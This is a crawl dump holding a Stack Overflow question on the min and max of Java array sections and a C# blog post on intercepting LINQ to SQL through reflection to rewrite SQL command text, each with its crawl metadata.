The array is array[String date][String price1][String price2]. I would like the max of price1 0-12, then price1 1-13, then price1 2-14, etc
{1,2,3,4,5,6,7,8,9,10,9,8,11,6,5,4,3,2,1}
the first list of 13 {1,2,3,4,5,6,7,8,9,10,9,8,7} would return 10
the second list of 13 {2,3,4,5,6,7,8,9,10,9,8,7,11} would return 11
the third list of 13 {3,4,5,6,7,8,9,10,9,8,7,11,6} would return 11 etc
edit sorry that was a bit confusing, the array is a 2 dimensional array of strings, the first column being dates, and the second and third being doubles. I would like to find the max of the 2nd column and the min of the 3rd.
here is what i had gotten:
String str = "";
for(int ii = 1 ; ii < array.length ; ii++){
str = str+array[ii][2]+",";
if(ii==13){
str = Math.max(str.substring(0, str.lastIndexOf(',', str.lastIndexOf(',') - 1)));
System.out.println(str);
}
}
share|improve this question
please include what have tried so far... – dku.rajkumar Dec 15 '11 at 3:11
I'm a bit confused. Wouldn't array[String date][String price1][String price2] be a 3D array? When you talk about {1,2,3,4,5,6,7,8,9,10,9,8,11,6,5,4,3,2,1} and sections of it, wouldn't that be a 1D array? Also, could you post the code that you have attempted so far along with what specific part of this task you are having trouble with? – Allen Z. Dec 15 '11 at 3:12
1
Having a string to indicate price and finding max? Why not use int, float etc? – Jayan Dec 15 '11 at 3:14
2 Answers 2
up vote 2 down vote accepted
Here is my solution(If you are dealing with integer array).
BUT you are saying [String date][String price1][String price2] at first and
later you gave example : the first list of 13 {1,2,3,4,5,6,7,8,9,10,9,8,7} would return 10 the second list of 13 {2,3,4,5,6,7,8,9,10,9,8,7,11} would return 11 the third list of 13 {3,4,5,6,7,8,9,10,9,8,7,11,6} would return 11 etc Please be clear about that.
CODE:
public class SO_MinMaxArrayGroups {
public static void main(String[] args) {
int arr[] = new int[] { 1, 2, -3, 4, 5, 6, 17, 13, 14, 14, 14, 12, 1, 2, 2, 4, 3, 4,1, 2, 3, 4, 5, 6, 12, 13, -14, 14, 14, 12, 1, 2, 2, 4, 3, 4,1,4,7 };
for (int i = 0; i < 3; i++) {
int max = arr[13*i];
int min = arr[13*i];
for (int j = i * 13; j < (i + 1) * 13; j++) {
//System.out.println("Checking :" + arr[j]);
if (arr[j] > max) {
max = arr[j];
}
if (arr[j] < min) {
min = arr[j];
}
}
System.out.println("Secion :"+(i+1)+" Max : " + max + " Min : " + min);
}
}
}
Result:
Secion :1 Max : 17 Min : -3
Secion :2 Max : 13 Min : 1
Secion :3 Max : 14 Min : -14
share|improve this answer
if you are dealing with numbers, the array shouldn't be storing strings (comparison gets tricky between 1,11 and 2 ( '2' > '11' ) :-)
you can copy ranges into another array and create a treeset out of the ranges, which can be used to extract the min and max numbers.
HTH!
share|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "http://stackoverflow.com/questions/8514636/getting-the-min-and-max-of-sections-of-an-array?answertab=active",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2015-35",
"warc_metadata": {
"Content-Length": "80240",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VHZBECZMJTHCESIWSFBS33QGRUU2PGG3",
"WARC-Concurrent-To": "<urn:uuid:08ed03ea-ce38-4820-ad30-f16a4d9ecd46>",
"WARC-Date": "2015-09-05T06:42:09Z",
"WARC-IP-Address": "104.16.106.85",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:RDQ22HCFSVYMITMBGOYT5UMRSSRKCRWY",
"WARC-Record-ID": "<urn:uuid:be616369-24e6-42c3-960e-2e56e49a23de>",
"WARC-Target-URI": "http://stackoverflow.com/questions/8514636/getting-the-min-and-max-of-sections-of-an-array?answertab=active",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:782a1be7-e252-43cb-b4b7-76293a1e0b18>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-96-226.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-35\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for August 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
25,
131,
132,
227,
228,
368,
369,
411,
412,
478,
479,
547,
548,
619,
620,
845,
846,
873,
874,
895,
896,
944,
980,
981,
1001,
1002,
1096,
1097,
1134,
1144,
1150,
1178,
1183,
1259,
1264,
1632,
1636,
1743,
1744,
1756,
1757,
1786,
1787,
1847,
1848,
1924,
1925,
2183,
2184,
2190,
2191,
2227,
2272,
2433,
2471,
2504,
2537,
2595,
2656,
2692,
2726,
2744,
2780,
2814,
2832,
2846,
2931,
2941,
2947,
2949,
2950,
2958,
2959,
2988,
3016,
3046,
3072,
3073,
3207,
3208,
3341,
3342,
3347,
3348,
3374,
3375,
3387,
3388,
3390,
3398,
3399,
3477,
3478
],
"line_end_idx": [
25,
131,
132,
227,
228,
368,
369,
411,
412,
478,
479,
547,
548,
619,
620,
845,
846,
873,
874,
895,
896,
944,
980,
981,
1001,
1002,
1096,
1097,
1134,
1144,
1150,
1178,
1183,
1259,
1264,
1632,
1636,
1743,
1744,
1756,
1757,
1786,
1787,
1847,
1848,
1924,
1925,
2183,
2184,
2190,
2191,
2227,
2272,
2433,
2471,
2504,
2537,
2595,
2656,
2692,
2726,
2744,
2780,
2814,
2832,
2846,
2931,
2941,
2947,
2949,
2950,
2958,
2959,
2988,
3016,
3046,
3072,
3073,
3207,
3208,
3341,
3342,
3347,
3348,
3374,
3375,
3387,
3388,
3390,
3398,
3399,
3477,
3478,
3568
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3568,
"ccnet_original_nlines": 93,
"rps_doc_curly_bracket": 0.00952915009111166,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.20692883431911469,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010299630463123322,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5608614087104797,
"rps_doc_frac_unique_words": 0.41379308700561523,
"rps_doc_mean_word_length": 4.268199443817139,
"rps_doc_num_sentences": 33,
"rps_doc_symbol_to_word_ratio": 0.0009363300050608814,
"rps_doc_unigram_entropy": 4.9298200607299805,
"rps_doc_word_count": 522,
"rps_doc_frac_chars_dupe_10grams": 0.13464990258216858,
"rps_doc_frac_chars_dupe_5grams": 0.18491920828819275,
"rps_doc_frac_chars_dupe_6grams": 0.18043087422847748,
"rps_doc_frac_chars_dupe_7grams": 0.15619389712810516,
"rps_doc_frac_chars_dupe_8grams": 0.15619389712810516,
"rps_doc_frac_chars_dupe_9grams": 0.13464990258216858,
"rps_doc_frac_chars_top_2gram": 0.01615799032151699,
"rps_doc_frac_chars_top_3gram": 0.021543990820646286,
"rps_doc_frac_chars_top_4gram": 0.012118490412831306,
"rps_doc_books_importance": -379.2832336425781,
"rps_doc_books_importance_length_correction": -379.2832336425781,
"rps_doc_openwebtext_importance": -238.79359436035156,
"rps_doc_openwebtext_importance_length_correction": -238.79359436035156,
"rps_doc_wikipedia_importance": -159.71168518066406,
"rps_doc_wikipedia_importance_length_correction": -159.71168518066406
},
"fasttext": {
"dclm": 0.5727843642234802,
"english": 0.8317763805389404,
"fineweb_edu_approx": 1.0693869590759277,
"eai_general_math": 0.013131259940564632,
"eai_open_web_math": 0.07056046277284622,
"eai_web_code": 0.010292350314557552
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "511.3",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Arithmetic"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "1",
"label": "Leftover HTML"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
8,727,219,845,554,643,000 | Last year I posted this article about modifying LINQ to SQL (L2S) command text. It was slightly evil in that it called private methods inside L2S, and it did it through reflection.
I have an alternative version that does the same thing through a pre-compiled expression tree, which I’ll post soon. Until then, here’s an update to the original reflection-based interceptor that properly handles sub-queries:
public delegate string ModifyCommandDelegate( string commandText, IDictionary<string, object> parameters );
public class ReflectionDataContextInterceptor
{
private DataContext dc;
private object oldProvider;
private Type providerType;
private ModifyCommandDelegate modifyCommand;
public static TDataContext Intercept<TDataContext>( TDataContext dc, ModifyCommandDelegate modifyCommand )
where TDataContext : DataContext
{
new ReflectionDataContextInterceptor( dc, modifyCommand );
return dc;
}
public ReflectionDataContextInterceptor( DataContext dc, ModifyCommandDelegate modifyCommand )
{
this.dc = dc;
this.modifyCommand = modifyCommand;
FieldInfo providerField = typeof( DataContext ).GetField( "provider", BindingFlags.Instance | BindingFlags.NonPublic );
var existingProvider = providerField.GetValue( dc );
if ( existingProvider is IProviderProxy )
{
// System.Diagnostics.Trace.WriteLine( string.Format( "DataContext {0} already intercepted", dc.GetHashCode() ) );
}
else
{
oldProvider = existingProvider;
var proxy = new ProviderProxy( this, oldProvider ).GetTransparentProxy();
providerField.SetValue( dc, proxy );
// System.Diagnostics.Trace.WriteLine( string.Format( "DataContext {0} intercepted", dc.GetHashCode() ) );
}
}
public static MethodInfo GetMethod( Type type, string methodName, params object[] args )
{
var hasNullArgs = args.Any( a => a == null );
var method = hasNullArgs
? type.GetMethods( BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic )
.FirstOrDefault( m => m.Name == methodName )
: null;
if ( method == null && !hasNullArgs )
{
method = type.GetMethod(
methodName,
BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic,
null,
args.Select( a => a.GetType() ).ToArray(),
null );
}
return method;
}
private object Invoke( object instance, string methodName, params object[] args )
{
var type = instance.GetType();
var method = GetMethod( type, methodName, args );
return ( method != null )
? method.Invoke( instance, args )
: null;
}
private object Invoke( Type type, string methodName, params object[] args )
{
var method = type.GetMethod( methodName, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic );
return method.Invoke( null, args );
}
protected object CompileImpl( Expression query )
{
try
{
var assembly = typeof( SqlProvider ).Assembly;
/*
this.CheckDispose();
this.CheckInitialized();
if ( query == null )
{
throw Error.ArgumentNull( "query" );
}
*/
// this.InitializeProviderMode();
Invoke( oldProvider, "InitializeProviderMode" );
// SqlNodeAnnotations annotations = new SqlNodeAnnotations();
var annotations = Activator.CreateInstance( assembly.GetType( "System.Data.Linq.SqlClient.SqlNodeAnnotations" ) );
// QueryInfo[] queries = this.BuildQuery( query, annotations );
var queries = Invoke( oldProvider, "BuildQuery", query, annotations );
var info = ModifyQueries( (IEnumerable)queries );
// this.CheckSqlCompatibility( queries, annotations );
Invoke( oldProvider, "CheckSqlCompatibility", queries, annotations );
LambdaExpression expression = query as LambdaExpression;
if ( expression != null )
{
query = expression.Body;
}
// IObjectReaderFactory readerFactory = null;
object readerFactory = null;
// ICompiledSubQuery[] subQueries = null;
object subQueries = null;
// QueryInfo info = queries[ queries.Length - 1 ];
// info defined above
var resultShape = (int)Invoke( info, "get_ResultShape" );
// if ( info.ResultShape == ResultShape.Singleton )
if ( resultShape == 1 /* Singleton */ )
{
// subQueries = this.CompileSubQueries( info.Query );
subQueries = Invoke( oldProvider, "CompileSubQueries", Invoke( info, "get_Query" ) );
ModifySubQueries( (IEnumerable)subQueries );
// readerFactory = this.GetReaderFactory( info.Query, info.ResultType );
readerFactory = Invoke( oldProvider, "GetReaderFactory", Invoke( info, "get_Query" ), Invoke( info, "get_ResultType" ) );
}
// else if ( info.ResultShape == ResultShape.Sequence )
else if ( resultShape == 2 /* Sequence */ )
{
// subQueries = this.CompileSubQueries( info.Query );
subQueries = Invoke( oldProvider, "CompileSubQueries", Invoke( info, "get_Query" ) );
ModifySubQueries( (IEnumerable)subQueries );
// readerFactory = this.GetReaderFactory( info.Query, TypeSystem.GetElementType( info.ResultType ) );
var resultType = Invoke( info, "get_ResultType" );
var typeSystemType = assembly.GetType( "System.Data.Linq.SqlClient.TypeSystem" );
var elementType = Invoke( typeSystemType, "GetElementType", resultType );
readerFactory = Invoke( oldProvider, "GetReaderFactory", Invoke( info, "get_Query" ), elementType );
}
FieldInfo providerField = typeof( DataContext ).GetField( "provider", BindingFlags.Instance | BindingFlags.NonPublic );
providerField.SetValue( dc, oldProvider );
// System.Diagnostics.Trace.WriteLine( string.Format( "DataContext {0} interceptor released (compiled query)", dc.GetHashCode() ) );
// return new CompiledQuery( this, query, queries, readerFactory, subQueries );
var compiledQueryType = assembly.GetType( "System.Data.Linq.SqlClient.SqlProvider+CompiledQuery" );
return Activator.CreateInstance(
compiledQueryType,
BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic,
null,
new object[] { oldProvider, query, queries, readerFactory, subQueries },
null );
}
catch ( TargetInvocationException ex )
{
throw ex.InnerException;
}
}
protected internal virtual IExecuteResult ExecuteImpl( Expression query )
{
try
{
var assembly = typeof( SqlProvider ).Assembly;
/*
this.CheckDispose();
this.CheckInitialized();
this.CheckNotDeleted();
if (query == null)
{
throw Error.ArgumentNull("query");
}
*/
// this.InitializeProviderMode();
Invoke( oldProvider, "InitializeProviderMode" );
// query = Funcletizer.Funcletize(query);
var funcletizerType = assembly.GetType( "System.Data.Linq.SqlClient.Funcletizer" );
query = (Expression)Invoke( funcletizerType, "Funcletize", query );
// if ( this.EnableCacheLookup )
if ( (bool)Invoke( oldProvider, "get_EnableCacheLookup" ) )
{
// IExecuteResult cachedResult = this.GetCachedResult(query);
object cachedResult = Invoke( oldProvider, "GetCachedResult", query );
if ( cachedResult != null )
{
// return cachedResult;
return (IExecuteResult)cachedResult;
}
}
// SqlNodeAnnotations annotations = new SqlNodeAnnotations();
var annotations = Activator.CreateInstance( assembly.GetType( "System.Data.Linq.SqlClient.SqlNodeAnnotations" ) );
// QueryInfo[] queries = this.BuildQuery(query, annotations);
var queries = Invoke( oldProvider, "BuildQuery", query, annotations );
var info = ModifyQueries( (IEnumerable)queries );
// this.CheckSqlCompatibility(queries, annotations);
Invoke( oldProvider, "CheckSqlCompatibility", queries, annotations );
LambdaExpression expression = query as LambdaExpression;
if ( expression != null )
{
query = expression.Body;
}
// IObjectReaderFactory readerFactory = null;
object readerFactory = null;
// ICompiledSubQuery[] subQueries = null;
object subQueries = null;
// QueryInfo info = queries[queries.Length - 1];
// info defined above
var resultShape = (int)Invoke( info, "get_ResultShape" );
// if (info.ResultShape == ResultShape.Singleton)
if ( resultShape == 1 /* Singleton */ )
{
// subQueries = this.CompileSubQueries(info.Query);
subQueries = Invoke( oldProvider, "CompileSubQueries", Invoke( info, "get_Query" ) );
ModifySubQueries( (IEnumerable)subQueries );
// readerFactory = this.GetReaderFactory(info.Query, info.ResultType);
readerFactory = Invoke( oldProvider, "GetReaderFactory", Invoke( info, "get_Query" ), Invoke( info, "get_ResultType" ) );
}
// else if (info.ResultShape == ResultShape.Sequence)
else if ( resultShape == 2 /* Sequence */ )
{
// subQueries = this.CompileSubQueries(info.Query);
subQueries = Invoke( oldProvider, "CompileSubQueries", Invoke( info, "get_Query" ) );
ModifySubQueries( (IEnumerable)subQueries );
// readerFactory = this.GetReaderFactory(info.Query, TypeSystem.GetElementType(info.ResultType));
var resultType = Invoke( info, "get_ResultType" );
var typeSystemType = assembly.GetType( "System.Data.Linq.SqlClient.TypeSystem" );
var elementType = Invoke( typeSystemType, "GetElementType", resultType );
readerFactory = Invoke( oldProvider, "GetReaderFactory", Invoke( info, "get_Query" ), elementType );
}
// return this.ExecuteAll(query, queries, readerFactory, null, subQueries);
return (IExecuteResult)Invoke( oldProvider, "ExecuteAll", query, queries, readerFactory, null, subQueries );
}
catch ( TargetInvocationException ex )
{
throw ex.InnerException;
}
}
private object ModifyQueries( IEnumerable queries )
{
object lastQuery = null;
foreach ( var q in queries )
{
lastQuery = q;
ModifyQuery( q );
}
return lastQuery;
}
private void ModifySubQueries( IEnumerable subQueries )
{
if ( subQueries == null ) return;
foreach ( var sq in subQueries )
{
var queryInfoField = sq.GetType().GetField( "queryInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic );
var queryInfo = queryInfoField.GetValue( sq );
ModifyQuery( queryInfo );
var subQueriesField = sq.GetType().GetField( "subQueries", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic );
var nestedSubQueries = subQueriesField.GetValue( sq );
if ( nestedSubQueries != null ) ModifySubQueries( (IEnumerable)nestedSubQueries );
}
}
private void ModifyQuery( object q /* QueryInfo */ )
{
var commandTextField = q.GetType().GetField( "commandText", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic );
var parametersField = q.GetType().GetField( "parameters", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic );
var commandText = (string)commandTextField.GetValue( q );
var parameterInfos = parametersField.GetValue( q );
var parameters = new Dictionary<string, object>();
foreach ( var p in (IEnumerable)parameterInfos )
{
var param = Invoke( p, "get_Parameter" );
var name = (string)Invoke( param, "get_Name" );
parameters[ name ] = Invoke( p, "get_Value" );
}
var modifiedCommandText = modifyCommand( commandText, parameters );
// System.Diagnostics.Trace.WriteLine( modifiedCommandText + "\n---" );
commandTextField.SetValue( q, modifiedCommandText );
}
/*
protected internal DbCommand GetCommandImpl( Expression query )
{
return (DbCommand)Invoke( oldProvider, "GetCommand", query );
}
protected internal string GetQueryTextImpl( Expression query )
{
return (string)Invoke( oldProvider, "GetQueryText", query );
}
*/
internal interface IProviderProxy
{
ReflectionDataContextInterceptor Interceptor { get; }
object OldProvider { get; }
}
public class ProviderProxy : RealProxy, IRemotingTypeInfo, IProviderProxy
{
public ReflectionDataContextInterceptor Interceptor { get; private set; }
public object OldProvider { get; private set; }
internal ProviderProxy( ReflectionDataContextInterceptor extender, object oldProvider )
: base( typeof( ContextBoundObject ) )
{
this.Interceptor = extender;
this.OldProvider = oldProvider;
}
public override IMessage Invoke( IMessage msg )
{
if ( msg is IMethodCallMessage )
{
IMethodCallMessage call = (IMethodCallMessage)msg;
MethodInfo mi = null;
if ( call.MethodBase.DeclaringType.Name == "IProvider" && call.MethodBase.DeclaringType.IsInterface )
{
Interceptor.providerType = call.MethodBase.DeclaringType;
mi = ReflectionDataContextInterceptor.GetMethod( typeof( ReflectionDataContextInterceptor ), call.MethodBase.Name + "Impl", call.Args );
if ( mi == null && OldProvider != null )
{
mi = ReflectionDataContextInterceptor.GetMethod( call.MethodBase.DeclaringType, call.MethodBase.Name, call.Args );
try
{
return new ReturnMessage( mi.Invoke( OldProvider, call.Args ), null, 0, null, call );
}
catch ( TargetInvocationException e )
{
return new ReturnMessage( e.InnerException, call );
}
}
if ( mi != null )
{
try
{
return new ReturnMessage( mi.Invoke( this.Interceptor, call.Args ), null, 0, null, call );
}
catch ( TargetInvocationException e )
{
return new ReturnMessage( e.InnerException, call );
}
}
}
// else mi = typeof( ReflectionDataContextInterceptor ).GetMethod( call.MethodBase.Name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic );
else
{
mi = ReflectionDataContextInterceptor.GetMethod( OldProvider.GetType(), call.MethodBase.Name, call.Args );
if ( mi != null )
{
try
{
return new ReturnMessage( mi.Invoke( OldProvider, call.Args ), null, 0, null, call );
}
catch ( TargetInvocationException e )
{
return new ReturnMessage( e.InnerException, call );
}
}
}
throw new NotImplementedException(
string.Format( "Method not found: {0}( {1} )",
call.MethodBase.Name,
string.Join( ", ", call.Args.Select( a => Convert.ToString( a ) ) ) ) );
}
throw new NotImplementedException();
}
public bool CanCastTo( Type fromType, object o )
{
return true;
}
public string TypeName
{
get { return this.GetType().Name; }
set { }
}
}
}
It’s still evil, but works great Smile
Advertisements | {
"url": "https://chriscavanagh.wordpress.com/2012/07/06/modifying-linq-to-sql-command-text-again/",
"source_domain": "chriscavanagh.wordpress.com",
"snapshot_id": "crawl=CC-MAIN-2017-26",
"warc_metadata": {
"Content-Length": "80559",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XVQZBDAEGJOPHU3VU4FVFV6CYJBA7ZHE",
"WARC-Concurrent-To": "<urn:uuid:c22f4b3e-14ab-4462-bd17-420decb9d9a6>",
"WARC-Date": "2017-06-27T08:56:34Z",
"WARC-IP-Address": "192.0.78.13",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:ZWMHAUBZNV37TA2RS5MPYQ2WXXI3AMEP",
"WARC-Record-ID": "<urn:uuid:d1c77232-92a7-4950-ae6e-c66fc6aa6fde>",
"WARC-Target-URI": "https://chriscavanagh.wordpress.com/2012/07/06/modifying-linq-to-sql-command-text-again/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d23ce11d-d0eb-48ac-9dbc-df5ca5214f30>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-166-28-18.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
182,
183,
410,
411,
523,
524,
574,
580,
612,
648,
683,
736,
737,
852,
897,
907,
978,
979,
1002,
1012,
1013,
1116,
1126,
1152,
1200,
1201,
1333,
1398,
1399,
1453,
1467,
1597,
1611,
1628,
1642,
1690,
1691,
1781,
1782,
1835,
1836,
1958,
1972,
1982,
1983,
2080,
2090,
2148,
2149,
2186,
2292,
2357,
2381,
2382,
2432,
2446,
2487,
2519,
2609,
2635,
2698,
2726,
2740,
2741,
2768,
2778,
2779,
2869,
2879,
2922,
2984,
2985,
3023,
3073,
3097,
3107,
3108,
3192,
3202,
3325,
3326,
3374,
3384,
3385,
3442,
3452,
3468,
3482,
3545,
3546,
3565,
3602,
3643,
3680,
3698,
3755,
3773,
3792,
3793,
3843,
3908,
3909,
3987,
4118,
4119,
4199,
4286,
4287,
4353,
4354,
4425,
4511,
4512,
4585,
4586,
4628,
4646,
4691,
4709,
4710,
4772,
4817,
4818,
4876,
4918,
4919,
4986,
5024,
5025,
5099,
5100,
5168,
5224,
5242,
5316,
5422,
5423,
5488,
5489,
5582,
5724,
5742,
5814,
5874,
5892,
5966,
6072,
6073,
6138,
6139,
6261,
6332,
6434,
6528,
6529,
6650,
6668,
6669,
6805,
6864,
6865,
7025,
7026,
7122,
7238,
7239,
7288,
7327,
7417,
7443,
7536,
7564,
7578,
7629,
7643,
7684,
7698,
7708,
7709,
7791,
7801,
7817,
7831,
7894,
7895,
7914,
7951,
7992,
8032,
8067,
8085,
8140,
8158,
8177,
8178,
8228,
8293,
8294,
8352,
8452,
8536,
8537,
8586,
8662,
8680,
8762,
8853,
8854,
8902,
8924,
8972,
9033,
9055,
9073,
9074,
9152,
9283,
9284,
9362,
9449,
9450,
9516,
9517,
9586,
9672,
9673,
9746,
9747,
9789,
9807,
9852,
9870,
9871,
9933,
9978,
9979,
10037,
10079,
10080,
10145,
10183,
10184,
10258,
10259,
10325,
10381,
10399,
10471,
10577,
10578,
10643,
10644,
10735,
10877,
10895,
10965,
11025,
11043,
11115,
11221,
11222,
11287,
11288,
11406,
11477,
11579,
11673,
11674,
11795,
11813,
11814,
11906,
12031,
12045,
12096,
12110,
12151,
12165,
12175,
12176,
12236,
12246,
12283,
12284,
12325,
12339,
12370,
12371,
12405,
12419,
12420,
12450,
12460,
12461,
12525,
12535,
12581,
12582,
12627,
12641,
12786,
12849,
12891,
12892,
13039,
13110,
13111,
13210,
13224,
13234,
13235,
13296,
13306,
13450,
13592,
13593,
13663,
13727,
13790,
13791,
13852,
13866,
13924,
13988,
13989,
14052,
14066,
14067,
14147,
14148,
14231,
14232,
14297,
14307,
14310,
14382,
14392,
14466,
14476,
14477,
14548,
14558,
14631,
14641,
14644,
14686,
14696,
14762,
14802,
14812,
14813,
14895,
14905,
14991,
15051,
15052,
15152,
15207,
15221,
15266,
15314,
15328,
15329,
15389,
15403,
15452,
15470,
15541,
15583,
15584,
15706,
15728,
15810,
15811,
15972,
15973,
16038,
16064,
16207,
16208,
16240,
16270,
16388,
16418,
16484,
16514,
16598,
16628,
16654,
16655,
16697,
16723,
16755,
16785,
16908,
16938,
17004,
17034,
17118,
17148,
17174,
17196,
17376,
17401,
17423,
17554,
17555,
17597,
17623,
17655,
17685,
17803,
17833,
17899,
17929,
18013,
18043,
18069,
18091,
18092,
18147,
18218,
18268,
18369,
18387,
18388,
18441,
18455,
18456,
18517,
18531,
18560,
18574,
18575,
18610,
18624,
18676,
18700,
18714,
18724,
18730,
18731,
18770,
18771
],
"line_end_idx": [
182,
183,
410,
411,
523,
524,
574,
580,
612,
648,
683,
736,
737,
852,
897,
907,
978,
979,
1002,
1012,
1013,
1116,
1126,
1152,
1200,
1201,
1333,
1398,
1399,
1453,
1467,
1597,
1611,
1628,
1642,
1690,
1691,
1781,
1782,
1835,
1836,
1958,
1972,
1982,
1983,
2080,
2090,
2148,
2149,
2186,
2292,
2357,
2381,
2382,
2432,
2446,
2487,
2519,
2609,
2635,
2698,
2726,
2740,
2741,
2768,
2778,
2779,
2869,
2879,
2922,
2984,
2985,
3023,
3073,
3097,
3107,
3108,
3192,
3202,
3325,
3326,
3374,
3384,
3385,
3442,
3452,
3468,
3482,
3545,
3546,
3565,
3602,
3643,
3680,
3698,
3755,
3773,
3792,
3793,
3843,
3908,
3909,
3987,
4118,
4119,
4199,
4286,
4287,
4353,
4354,
4425,
4511,
4512,
4585,
4586,
4628,
4646,
4691,
4709,
4710,
4772,
4817,
4818,
4876,
4918,
4919,
4986,
5024,
5025,
5099,
5100,
5168,
5224,
5242,
5316,
5422,
5423,
5488,
5489,
5582,
5724,
5742,
5814,
5874,
5892,
5966,
6072,
6073,
6138,
6139,
6261,
6332,
6434,
6528,
6529,
6650,
6668,
6669,
6805,
6864,
6865,
7025,
7026,
7122,
7238,
7239,
7288,
7327,
7417,
7443,
7536,
7564,
7578,
7629,
7643,
7684,
7698,
7708,
7709,
7791,
7801,
7817,
7831,
7894,
7895,
7914,
7951,
7992,
8032,
8067,
8085,
8140,
8158,
8177,
8178,
8228,
8293,
8294,
8352,
8452,
8536,
8537,
8586,
8662,
8680,
8762,
8853,
8854,
8902,
8924,
8972,
9033,
9055,
9073,
9074,
9152,
9283,
9284,
9362,
9449,
9450,
9516,
9517,
9586,
9672,
9673,
9746,
9747,
9789,
9807,
9852,
9870,
9871,
9933,
9978,
9979,
10037,
10079,
10080,
10145,
10183,
10184,
10258,
10259,
10325,
10381,
10399,
10471,
10577,
10578,
10643,
10644,
10735,
10877,
10895,
10965,
11025,
11043,
11115,
11221,
11222,
11287,
11288,
11406,
11477,
11579,
11673,
11674,
11795,
11813,
11814,
11906,
12031,
12045,
12096,
12110,
12151,
12165,
12175,
12176,
12236,
12246,
12283,
12284,
12325,
12339,
12370,
12371,
12405,
12419,
12420,
12450,
12460,
12461,
12525,
12535,
12581,
12582,
12627,
12641,
12786,
12849,
12891,
12892,
13039,
13110,
13111,
13210,
13224,
13234,
13235,
13296,
13306,
13450,
13592,
13593,
13663,
13727,
13790,
13791,
13852,
13866,
13924,
13988,
13989,
14052,
14066,
14067,
14147,
14148,
14231,
14232,
14297,
14307,
14310,
14382,
14392,
14466,
14476,
14477,
14548,
14558,
14631,
14641,
14644,
14686,
14696,
14762,
14802,
14812,
14813,
14895,
14905,
14991,
15051,
15052,
15152,
15207,
15221,
15266,
15314,
15328,
15329,
15389,
15403,
15452,
15470,
15541,
15583,
15584,
15706,
15728,
15810,
15811,
15972,
15973,
16038,
16064,
16207,
16208,
16240,
16270,
16388,
16418,
16484,
16514,
16598,
16628,
16654,
16655,
16697,
16723,
16755,
16785,
16908,
16938,
17004,
17034,
17118,
17148,
17174,
17196,
17376,
17401,
17423,
17554,
17555,
17597,
17623,
17655,
17685,
17803,
17833,
17899,
17929,
18013,
18043,
18069,
18091,
18092,
18147,
18218,
18268,
18369,
18387,
18388,
18441,
18455,
18456,
18517,
18531,
18560,
18574,
18575,
18610,
18624,
18676,
18700,
18714,
18724,
18730,
18731,
18770,
18771,
18785
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 18785,
"ccnet_original_nlines": 444,
"rps_doc_curly_bracket": 0.006707480177283287,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
